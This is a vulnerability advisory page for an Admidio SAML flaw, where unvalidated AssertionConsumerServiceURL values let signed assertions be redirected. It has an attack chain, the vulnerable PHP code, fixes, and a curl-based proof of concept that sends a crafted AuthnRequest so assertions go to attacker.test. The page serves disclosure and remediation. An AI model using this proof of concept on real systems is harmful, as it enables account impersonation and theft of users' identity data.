Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconDiscover SP Entity ID from metadata
-
DeliveryCraft AuthnRequest with malicious ACS URL
-
ExploitSocial engineer victim to submit request
-
InstallVictim browser auto-submits to Admidio IdP
-
C2IdP generates signed SAML response
-
ExecuteResponse POST to attacker URL
-
ImpactReplay assertion to legitimate SP
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
|
| Exploitation Conditions | Exploitation requires the victim to have an active authenticated session with the Admidio Identity Provider at the time the malicious SAML AuthnRequest is processed. The attacker must know the exact Entity ID of a Service Provider registered in the target Admidio instance, which is typically discoverable from the SP's public SAML metadata endpoint or through reconnaissance of federated authentication flows. In default Admidio configurations where smc_require_auth_signed and smc_validate_signatures are both disabled for the SP client, no additional conditions are required - the attack succeeds with only Entity ID knowledge and victim interaction. When AuthnRequest signature validation is enabled, the attacker would additionally need access to the Service Provider's SAML signing key to forge a validly-signed request, though the vendor advisory emphasizes that ACS URL validation is still required per SAML 2.0 specification even when signatures are verified (defense-in-depth). User interaction (UI:R in CVSS) is required: the victim must click a link or visit an attacker-controlled page that submits the malicious AuthnRequest, typically achieved through social engineering. The vulnerability is limited to deployments where Admidio functions as a SAML Identity Provider with at least one registered Service Provider client; installations using Admidio solely for internal membership management without federated SSO are not affected. |
| Impact | The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N indicates a network-exploitable vulnerability with low attack complexity requiring no privileges but user interaction, with scope change and high confidentiality impact. The scope change (S:C) is particularly significant: the IdP vulnerability enables direct impersonation on separate Service Provider applications, amplifying impact beyond the vulnerable component. Attack complexity is genuinely low - attackers need only the SP Entity ID (often in public metadata) and ability to deliver a crafted SAML request to a logged-in user. User interaction (UI:R) is the primary friction: victims must be authenticated to the IdP and interact with attacker-controlled content that triggers the malicious SAML flow. No active exploitation confirmed (not in CISA KEV), and EPSS scoring is unavailable as this is a 2026 CVE identifier. Real-world risk is HIGH in multi-tenant SAML deployments where Admidio acts as IdP for multiple Service Providers: successful exploitation yields validly-signed assertions that can be replayed to impersonate victims on any connected SP. Risk is lower in single-SP deployments or when all SPs require signed AuthnRequests with non-compromised keys, though defense-in-depth still mandates ACS URL validation per SAML 2.0 Profiles Section 4.1.4.1. Priority for patching: CRITICAL for production IdP deployments, MEDIUM for non-federated or development instances. |
| Exploit ScenarioDerived | An attacker identifies the Entity ID of a Service Provider registered with an Admidio SAML Identity Provider, often by accessing the SP's public metadata endpoint (e.g., https://legitimate-sp.example/saml/metadata). The attacker crafts a malicious SAML AuthnRequest XML containing the legitimate Entity ID in the Issuer element but specifying an attacker-controlled URL (https://attacker.example/steal) in the AssertionConsumerServiceURL attribute. The attacker embeds this base64-encoded AuthnRequest in an auto-submitting HTML form and tricks a victim (via phishing email or watering hole attack) into visiting a page that submits the form to Admidio's SSO endpoint. If the victim has an active Admidio session, the IdP generates a validly-signed SAML response containing the victim's login name, email, roles, and profile attributes, then renders an auto-submitting form in the victim's browser that POSTs this response to the attacker's server. The attacker captures the signed assertion and replays it to the legitimate Service Provider, gaining authenticated access as the victim user with full privileges. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
SAML response redirection in Admidio 5.0.8 and earlier allows attackers to steal signed authentication assertions containing user credentials and profile data by exploiting missing validation of the AssertionConsumerServiceURL in SAML AuthnRequests. The Identity Provider (IdP) accepts attacker-controlled destination URLs from SAML requests without verifying them against registered Service Provider endpoints, enabling assertion theft and account impersonation across federated applications. No public exploit code identified at time of analysis, though proof-of-concept demonstration is included in the GitHub security advisory GHSA-p9w9-87c8-m235. EPSS data not available for this CVE.
RemediationAI
Upgrade to Admidio version 5.0.9 immediately, which includes validation of AssertionConsumerServiceURL against registered client endpoints as detailed in GitHub security advisory GHSA-p9w9-87c8-m235 (https://github.com/Admidio/admidio/security/advisories/GHSA-p9w9-87c8-m235). For environments unable to upgrade immediately, implement the following compensating controls: (1) Enable smc_require_auth_signed for ALL registered Service Provider clients in the Admidio SSO configuration to enforce AuthnRequest signature validation, which raises the attack bar to key compromise but does not eliminate the vulnerability; (2) Review and restrict access to the SSO endpoint at modules/sso/index.php/saml/sso using web server access controls to trusted networks only, though this breaks legitimate federated SSO for remote users; (3) Monitor web server access logs for suspicious POST requests to the SAML SSO endpoint with unusual SAMLRequest payloads, particularly requests containing AssertionConsumerServiceURL values not matching registered clients; (4) Audit all registered SAML Service Provider clients in the Admidio database (smc_acs_url column) to ensure only authorized applications are configured. Note that workarounds 1-3 do not fully mitigate the vulnerability and introduce operational friction; immediate upgrade to 5.0.9 is the only complete remediation.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects Admidio's SAML 2.0 Identity Provider implementation in the SSO module, specifically the SAMLService.php component that handles Single Sign-On authentication flows. SAML (Security Assertion Markup Language) is a federated authentication protocol where Identity Providers issue signed assertions to Service Providers confirming user identity. The OASIS SAML 2.0 specification mandates that IdPs must validate the AssertionConsumerServiceURL (ACS URL) from incoming AuthnRequests against pre-registered SP endpoints to prevent assertion theft. Admidio's implementation extracts the ACS URL directly from the request object via getAssertionConsumerServiceURL() and uses it as both the Destination in the SAML Response and the Recipient in SubjectConfirmationData, without comparing it to the smc_acs_url value stored in the database for the registered client. This violates CWE-20 (Improper Input Validation) by trusting attacker-controlled data for a security-critical routing decision. The vulnerability is compounded by optional signature validation: when smc_require_auth_signed and smc_validate_signatures are both disabled (the default configuration for new SP clients), no cryptographic verification occurs, reducing the attack to knowledge of the SP's Entity ID.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The SAML IdP implementation in Admidio's SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL.
Details
The vulnerability is in src/SSO/Service/SAMLService.php, in handleSSORequest() at lines 439-465:
// Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled)
$clientACS = $request->getAssertionConsumerServiceURL();
// ...
// Line 456: Used as the Destination of the SAML Response
$response->setDestination($clientACS);
// Lines 463-465: Also used as the Recipient in SubjectConfirmationData
$subjectConfirmationData = new \LightSaml\Model\Assertion\SubjectConfirmationData();
$subjectConfirmationData
->setRecipient($clientACS) // Required recipient URLThere is no code that compares $clientACS against the client's registered smc_acs_url column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP's registered ACS endpoints.
Signature validation is conditional and does not prevent this attack:
At lines 417-419:
if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
$this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
}If neither smc_require_auth_signed nor smc_validate_signatures is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP's Entity ID (which is often publicly discoverable from the SP's metadata endpoint) to craft a malicious AuthnRequest.
Even when signatures ARE validated, the ACS URL should still be checked against the registered value, because:
- Signature validation proves the request came from the SP, not that the ACS URL is authorized
- If the SP's signing key is compromised, the ACS URL becomes the last line of defense
- This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1
The same pattern exists in the error response path at lines 323-326:
} elseif (method_exists($request, 'getAssertionConsumerServiceURL')) {
$response->setDestination($request->getAssertionConsumerServiceURL());
} else {
$response->setDestination($client->getValue('smc_acs_url'));
}Attack flow:
- Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP's public metadata)
- Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled
AssertionConsumerServiceURL - Attacker sends this AuthnRequest to Admidio's SSO endpoint (via redirect or auto-submitting form)
- If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user's identity and attributes
- The SAML response is POST-binding-sent to the attacker's URL via an auto-submitting HTML form rendered in the victim's browser
- The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields
- The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)
PoC
# Step 1: Generate a malicious SAML AuthnRequest
# This is a base64-encoded SAML AuthnRequest with:
# - Issuer = the known Entity ID of a registered SP
# - AssertionConsumerServiceURL = attacker's server
# Example AuthnRequest XML (before base64 encoding):
# <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
# xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
# ID="_test123"
# Version="2.0"
# IssueInstant="2026-03-17T00:00:00Z"
# AssertionConsumerServiceURL="https://attacker.test/steal-saml"
# ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST">
# <saml:Issuer>https://legitimate-sp.test/metadata</saml:Issuer>
# </samlp:AuthnRequest>
SAML_REQUEST=$(echo -n '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test123" Version="2.0" IssueInstant="2026-03-17T00:00:00Z" AssertionConsumerServiceURL="https://attacker.test/steal-saml" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>REGISTERED_SP_ENTITY_ID</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)
# Step 2: Send via HTTP-POST binding to Admidio's SSO endpoint
# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)
curl -X POST "https://TARGET/modules/sso/index.php/saml/sso" \
-d "SAMLRequest=$SAML_REQUEST" \
-b "ADMIDIO_SESSION=victim_session_cookie"
# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form
# that POSTs the signed SAML Response to https://attacker.test/steal-saml
# The response contains: user login name, email, full name, roles, and any other
# profile fields configured in the SP's field mapping
# Step 4: Attacker receives the signed SAML assertion and can replay it
# to the legitimate SP to authenticate as the victimImpact
- User Identity Theft: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.
- Information Disclosure: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP's field mapping) is exfiltrated.
- Scope Change (S:C): The IdP vulnerability directly enables impersonation on separate Service Provider applications.
- No Signature Required: When
smc_require_auth_signedis not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP's Entity ID.
Recommended Fix
Validate the AssertionConsumerServiceURL from the AuthnRequest against the registered smc_acs_url before using it. In src/SSO/Service/SAMLService.php, add validation after loading the client:
// After line 439: $clientACS = $request->getAssertionConsumerServiceURL();
// Validate ACS URL against registered client configuration
$registeredACS = $client->getValue('smc_acs_url');
if (!empty($clientACS) && $clientACS !== $registeredACS) {
throw new Exception(
'The AssertionConsumerServiceURL in the AuthnRequest ("' . $clientACS . '") ' .
'does not match the registered ACS URL for this client. ' .
'Possible assertion theft attempt.'
);
}
// If no ACS URL in request, fall back to the registered one
if (empty($clientACS)) {
$clientACS = $registeredACS;
}Also apply the same validation in the errorResponse() method at line 323-326:
// Replace lines 323-326 with:
if ($request instanceof LogoutRequest) {
$response->setDestination($client->getValue('smc_slo_url'));
} else {
// Always use the registered ACS URL, never the request's ACS URL
$response->setDestination($client->getValue('smc_acs_url'));
}Executive ViewAI
Admidio versions 5.0.8 and earlier contain a SAML authentication bypass vulnerability that allows attackers to redirect signed authentication assertions to attacker-controlled URLs, enabling credential theft and account impersonation across federated applications. Organizations using Admidio as an identity provider face immediate risk of unauthorized access to downstream applications relying on SAML authentication. This vulnerability directly threatens user account security and federated authentication trust relationships.
Until vendor patch is released: (1) Implement strict allowlist validation of AssertionConsumerServiceURL parameters at the network or WAF layer if technically feasible; (2) Enable comprehensive SAML assertion logging and monitoring for redirections to non-registered Service Provider endpoints; (3) Require multi-factor authentication on all downstream applications accepting SAML assertions; (4) Restrict Admidio network access to known Service Provider networks only; (5) Coordinate with dependent application owners to implement additional SAML request validation on their endpoints. Monitor vendor advisory GHSA-p9w9-87c8-m235 and Admidio security channels for patch release notification.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-28281
GHSA-p9w9-87c8-m235
NVD
CVE.org
EPSS
Exploit-DB